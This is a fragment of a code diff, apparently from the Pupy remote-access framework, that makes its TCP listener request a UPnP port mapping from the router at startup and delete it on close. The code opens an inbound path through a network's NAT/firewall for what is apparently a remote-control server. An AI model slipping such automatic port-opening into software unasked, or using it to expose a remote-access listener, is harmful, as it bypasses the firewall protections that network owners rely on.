resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "IsWorking", + ]) diff --git a/pupy/network/lib/servers.py b/pupy/network/lib/servers.py index cebd7538..5f24730f 100644 --- a/pupy/network/lib/servers.py +++ b/pupy/network/lib/servers.py @@ -21,6 +21,8 @@ from threading import Thread, RLock from streams.PupySocketStream import addGetPeer from network.lib.connection import PupyConnection +from network.lib.igd import IGDClient, UPNPError + class PupyTCPServer(ThreadedServer): def __init__(self, *args, **kwargs): @@ -34,12 +36,24 @@ class PupyTCPServer(ThreadedServer): self.transport_class = kwargs["transport"] self.transport_kwargs = kwargs["transport_kwargs"] + self.igd = None + self.igd_mapping = False + del kwargs["stream"] del kwargs["transport"] del kwargs["transport_kwargs"] ThreadedServer.__init__(self, *args, **kwargs) + try: + self.igd = IGDClient() + if self.igd.available: + self.igd.AddPortMapping(self.port, 'TCP', self.port) + self.igd_mapping = True + + except UPNPError as e: + self.logger.warn("Couldn't create IGD mapping: {}".format(e.description)) + def _setup_connection(self, lock, sock, queue): '''Authenticate a client and if it succeeds, wraps the socket in a connection object. Note that this code is cut and paste from the rpyc internals and may have to be @@ -124,6 +138,15 @@ class PupyTCPServer(ThreadedServer): self.clients.discard(sock) + def close(self): + ThreadedServer.close(self) + if self.igd_mapping: + try: + self.igd.DeletePortMapping(self.port, 'TCP') + except Exception as e: + self.logger.info('IGD Exception: {}/{}'.format(type(e), e)) + + class PupyUDPServer(object): def __init__(self, service, **kwargs): if not "stream" in kwargs: